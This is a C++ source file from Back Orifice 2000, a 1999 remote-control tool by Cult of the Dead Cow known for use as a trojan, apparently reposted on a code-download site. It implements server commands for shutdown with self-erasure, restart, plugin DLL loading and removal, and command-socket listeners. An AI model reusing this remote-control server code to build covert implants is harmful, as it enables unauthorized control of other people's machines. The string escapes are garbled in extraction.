cmd_serverctrl.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:7k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. #include<windows.h>
  16. #include<auth.h>
  17. #include<iohandler.h>
  18. #include<encryption.h>
  19. #include<commandloop.h>
  20. #include<bocomreg.h>
  21. #include<cmdcmd_serverctrl.h>
  22. #include<plugins.h>
  23. #include<dll_load.h>
  24. #include<main.h>
  25. #include<config.h>
  26. #include<strhandle.h>
  27. int CmdProc_ShutdownServer(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  28. {
  29. if(lstrcmpi(svArg2,"delete")==0) {
  30. g_bEradicate=TRUE;
  31. IssueAuthCommandReply(cas_from, comid, 1, ">>Eradicating BO2K server<<n");
  32. }
  33. IssueAuthCommandReply(cas_from, comid, 0, "Shutting down BO2K server.n");
  34. g_bBO2KFinished=TRUE;
  35. g_bRestart=FALSE;
  36. return 0;
  37. }
  38. int CmdProc_RestartServer(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  39. {
  40. if(svArg2==NULL) {
  41. g_svRestartProcess[0]='';
  42. } else {
  43. lstrcpyn(g_svRestartProcess,svArg2,64);
  44. }
  45. IssueAuthCommandReply(cas_from, comid, 0, "Restarting BO2K server.nYou will need to reconnect.n");
  46. g_bBO2KFinished=TRUE;
  47. g_bRestart=TRUE;
  48. return 0;
  49. }
  50. int CmdProc_LoadPluginDll(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  51. {
  52. HANDLE hFile=CreateFile(svArg2,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
  53. if(hFile==INVALID_HANDLE_VALUE) {
  54. IssueAuthCommandReply(cas_from,comid,0,"Couldn't open plugin dll.n");
  55. return -1;
  56. }
  57. BY_HANDLE_FILE_INFORMATION bhfi;
  58. GetFileInformationByHandle(hFile,&bhfi);
  59. void *buf=malloc(bhfi.nFileSizeLow);
  60. if(buf==NULL) {
  61. CloseHandle(hFile);
  62. IssueAuthCommandReply(cas_from,comid,0,"Memory allocation error.n");
  63. return -1;
  64. }
  65. DWORD dwBytes;
  66. ReadFile(hFile,buf,bhfi.nFileSizeLow,&dwBytes,NULL);
  67. if(AddPlugin(buf,bhfi.nFileSizeLow)==-1) {
  68. CloseHandle(hFile);
  69. free(buf);
  70. IssueAuthCommandReply(cas_from,comid,0,"Plugin could not be added.n");
  71. return -1;
  72. }
  73. CloseHandle(hFile);
  74. free(buf);
  75. IssueAuthCommandReply(cas_from,comid,2,"Plugin added successfully.n");
  76. return 0;
  77. /*
  78. if(DebugPlugin(svArg2)==-1) {
  79. IssueAuthCommandReply(cas_from,comid,0,"Plugin could not be added.n");
  80. return -1;
  81. }
  82. IssueAuthCommandReply(cas_from,comid,2,"Plugin added successfully.n");
  83. return 0;*/
  84. }
  85. int CmdProc_DebugPluginDll(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  86. {
  87. if(DebugPlugin(svArg2)==-1) {
  88. IssueAuthCommandReply(cas_from,comid,0,"Plugin could not be added.n");
  89. return -1;
  90. }
  91. IssueAuthCommandReply(cas_from,comid,2,"Debug plugin added successfully.n");
  92. return 0;
  93. }
  94. int CmdProc_ListPluginDlls(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  95. {
  96. HMODULE hDLL;
  97. int num;
  98. IssueAuthCommandReply(cas_from,comid,1,"Plugin Listn");
  99. num=0;
  100. hDLL=GetPlugin(num);
  101. while(hDLL!=NULL) {
  102. char svLine[1024];
  103. PLUGIN_VERSION pv;
  104. TYPEOF_PluginVersion *PluginVersion=(TYPEOF_PluginVersion *)GetDLLProcAddress(hDLL,"PluginVersion");
  105. PluginVersion(&pv);
  106. wsprintf(svLine,"%2d: %.256s (%.512s)n",num,pv.svFilename,pv.svDescription);
  107. IssueAuthCommandReply(cas_from,comid,1,svLine);
  108. num++;
  109. hDLL=GetPlugin(num);
  110. }
  111. IssueAuthCommandReply(cas_from,comid,0,"End Of Plugin Listn");
  112. return 0;
  113. }
  114. int CmdProc_RemovePluginDll(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  115. {
  116. void *ptr;
  117. ptr=GetPlugin(nArg1);
  118. if(ptr==NULL) {
  119. IssueAuthCommandReply(cas_from,comid,0,"Invalid plugin number.n");
  120. return -1;
  121. }
  122. if(RemovePlugin(nArg1)==-1) {
  123. IssueAuthCommandReply(cas_from,comid,0,"Plugin could not be removedn");
  124. return -1;
  125. }
  126. IssueAuthCommandReply(cas_from,comid,2,"Plugin removed successfully.n");
  127. return 0;
  128. }
  129. int CmdProc_StartCommandSocket(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  130. {
  131. char *svBindStr=GetCfgStr(g_szStartupOptions,"Init Cmd Bind Str");
  132. char *svNetMod=GetCfgStr(g_szStartupOptions,"Init Cmd Net Type");
  133. char *svEnc=GetCfgStr(g_szStartupOptions,"Init Cmd Encryption");
  134. char *svAuth=GetCfgStr(g_szStartupOptions,"Init Cmd Auth");
  135. char *svParam;
  136. svParam=svArg2;
  137. if(svParam!=NULL) {
  138. if(svParam[0]!='') svNetMod=svParam;
  139. svParam=BreakString(svNetMod,",");
  140. if(svParam!=NULL) {
  141. if(svParam[0]!='') svEnc=svParam;
  142. svParam=BreakString(svEnc,",");
  143. if(svParam!=NULL) {
  144. if(svParam[0]!='') svAuth=svParam;
  145. }
  146. }
  147. }
  148. if(svArg3!=NULL) {
  149. if(svArg3[0]!='') svBindStr=svArg3;
  150. }
  151. CAuthSocket *pSock=ListenAuthSocket(NULL,cas_from->GetUserID(),NULL,svBindStr,svNetMod,svEnc,svAuth);
  152. if(((int)pSock)>0 && g_nCommCount<MAX_COMMAND_SOCKETS) {
  153. g_pCommSock[g_nCommCount]=pSock;
  154. g_nCommCount++;
  155. char svMsg[512],svAddr[256];
  156. pSock->GetConnectAddr(svAddr,256);
  157. wsprintf(svMsg, "Command socket #%d created on: %.256sn",g_nCommCount-1,svAddr);
  158. IssueAuthCommandReply(cas_from,comid,0,svMsg);
  159. } else {
  160. IssueAuthCommandReply(cas_from,comid,0,"Error creating command socket.n");
  161. }
  162. return 0;
  163. }
  164. int CmdProc_ListCommandSockets(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  165. {
  166. int i;
  167. IssueAuthCommandReply(cas_from,comid,1,"Command Sockets:n");
  168. for(i=0;i<g_nCommCount;i++) {
  169. char svMsg[512];
  170. char svAddr[256];
  171. CAuthSocket *pSock=g_pCommSock[i];
  172. pSock->GetConnectAddr(svAddr,256);
  173. wsprintf(svMsg,"%d: %.256sn",i,svAddr);
  174. IssueAuthCommandReply(cas_from,comid,1,svMsg);
  175. }
  176. IssueAuthCommandReply(cas_from,comid,1,"End Command Socket List.n");
  177. return 0;
  178. }
  179. int CmdProc_StopCommandSocket(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  180. {
  181. if(nArg1>=0 && nArg1<(DWORD)g_nCommCount) {
  182. CAuthSocket *pSock=g_pCommSock[nArg1];
  183. if(pSock!=NULL) {
  184. memcpy(g_pCommSock+nArg1,g_pCommSock+nArg1+1, sizeof(CAuthSocket *) * (g_nCommCount-(nArg1+1)));
  185. g_nCommCount--;
  186. g_pCommSock[g_nCommCount]=NULL;
  187. if(pSock->Close()==0) {
  188. IssueAuthCommandReply(cas_from,comid,0,"Command socket closed.n");
  189. return 0;
  190. } else {
  191. IssueAuthCommandReply(cas_from,comid,0,"Command socket already closed.n");
  192. return 0;
  193. }
  194. }
  195. IssueAuthCommandReply(cas_from,comid,0,"Command socketd does not exist.n");
  196. return 0;
  197. }